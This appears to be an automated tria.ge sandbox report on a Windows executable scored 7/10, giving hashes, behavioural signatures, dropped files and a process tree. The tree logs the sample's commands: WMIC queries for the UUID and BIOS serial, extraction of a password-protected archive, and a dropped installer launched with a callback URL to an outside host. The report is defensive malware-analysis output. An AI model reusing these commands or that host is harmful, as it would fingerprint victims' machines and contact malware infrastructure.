Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    25/12/2023, 05:06

General

  • Target

    06c927c3e1421cd7600ed656526e23e4.exe

  • Size

    403KB

  • MD5

    06c927c3e1421cd7600ed656526e23e4

  • SHA1

    857dfe61d3663ab43cfcaed21df1d2c515174de9

  • SHA256

    2359ae1ca0eca3db26b61ad6652bca4b8e1d87daa42d5d4664fc3840ac78cacc

  • SHA512

    463dad0cc6de6de44266043d8cefcf5fed94c570f6316468da3b8dadb8115bbbc8a437fde2f00dfbadb0396f399d45f12e1a542df39a5c1df4d92be9a40c9842

  • SSDEEP

    12288:9A0i50G+7BsOx5UBkHY2lvNKltnVPZGEvvacEQ:9AfyGnQUBIYqlEZjvicP

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe
    "C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2400
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2692
    • C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe
      7za.exe e -y -p"62ab703ad4bb0ac6c150c8121a5a9ada" [RANDOM_STRING].7z
      2⤵
      • Executes dropped EXE
      PID:2512
    • C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe
      "C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe" /initurl http://sub.ecocka.info/init/06c927c3e1421cd7600ed656526e23e4/:uid:? /affid "-" /id "0" /name " " /uniqid 06c927c3e1421cd7600ed656526e23e4 /uuid 00000000-0000-0000-0000-000000000000 /biosserial /biosversion ROCKS - 1 /csname Standard PC (Q35 + ICH9, 2009)
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1104
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
      2⤵
        PID:2952
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        WMIC bios Get Version /FORMAT:textvaluelist.xsl
        2⤵
          PID:3052
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        wmic bios get serialnumber, version
        1⤵
          PID:1612

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe

          Filesize

          381KB

          MD5

          c05252cf82fa42a594c12e9805087789

          SHA1

          c9d904cf43a32501202611e65d398e39b8bc492f

          SHA256

          7dd366d0215a64b8823bba22ec2ec6335b0427bfb34ee76fd4f95e6d822c77a2

          SHA512

          44d52dee87d9c457afe30b85d187b2f294a3cc6ecfd0f14fc096dc32912c0ba148ed1ab22a211eb97ebbd76c82e512cedd03287301a09e6158498169da42cd77

        • C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe

          Filesize

          93KB

          MD5

          3e5dddeb617455a0bf8e1634d9b75b31

          SHA1

          ff6d79b3a5d00a234b132570b8bcbe8db93da9de

          SHA256

          f875921639da64e93948c4e3ee197835e413ec18ea76def2d99b01edb0a23a22

          SHA512

          a9ab59f6396fb980cf0788d983ecccbad3e8de9d2ecfbe5c3b6191c790de88c1ecf4c65fdc8bfd3620d33d93c956aba42d0a0c3e8d53b21c0381d5f8456c4d5e

        • C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\[RANDOM_STRING].7z

          Filesize

          80KB

          MD5

          4de7a732253f40bb14e952b1982e4fc6

          SHA1

          ac294e2e0f54eaecef43715e844a97acf1f88d6a

          SHA256

          96e5b1d7ee6b01ff35203546cf2b89e6138987df8897dae98cab6270fa5a845f

          SHA512

          0e91c7422522da614744370e606012aadcc1d67b171180ec930305ac6c70f775ea825ace159417e5c91e395afd10d55abbd213879ec1196cfe5511ba9d8b375c

        • C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe

          Filesize

          193KB

          MD5

          10bd2af1b07ec6bc9cd17ba512569e59

          SHA1

          807e17ab1b98177e135d30941b45081960d1e866

          SHA256

          9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

          SHA512

          deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

        • C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe

          Filesize

          92KB

          MD5

          d443a70c5fbadd5cb5472cbc3894078f

          SHA1

          10068fe26e3271337e8ee99c14dc168711765379

          SHA256

          4dda24624042ecfe303e2c3556c981f67e8f0a4f6d21f673f12fa2baeef84c0a

          SHA512

          33396f3d0cb91fabaac854032ba8c3319cf27ad4e27ee7bc2005dc15242d3b05c2003863d1796ed7279930326d78665e47c72fc3443fb9ed463ea4bfc55ceef5

        • \Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe

          Filesize

          92KB

          MD5

          c3d879e6aa379bef396b044edba45620

          SHA1

          b2bf1627119b3e256a288b860540ca65851589a7

          SHA256

          cd3522174334f836af2ef913d55837059113d2ef35dd7c72d7f7c736f85add71

          SHA512

          ff03b1530eeb1da666e623485fc8d8096688d031a892cc380ba62e15953934bb248e59bdd20429313b687d6e04e81d9bfb732a41ff6f27c1ca7ba80af18bcd4f

        • \Users\Admin\AppData\Local\Temp\nso7D0.tmp\nsExec.dll

          Filesize

          8KB

          MD5

          b8be6632a7dc8136ff01338be40fe701

          SHA1

          043fa16929b2af5ed5c1c59b4035a10cf765fb43

          SHA256

          289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

          SHA512

          403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

        • memory/1104-43-0x0000000000400000-0x0000000000437000-memory.dmp

          Filesize

          220KB

        • memory/1104-42-0x0000000000240000-0x0000000000241000-memory.dmp

          Filesize

          4KB

        • memory/1104-44-0x0000000000400000-0x0000000000437000-memory.dmp

          Filesize

          220KB

        • memory/3028-41-0x0000000000400000-0x0000000000437000-memory.dmp

          Filesize

          220KB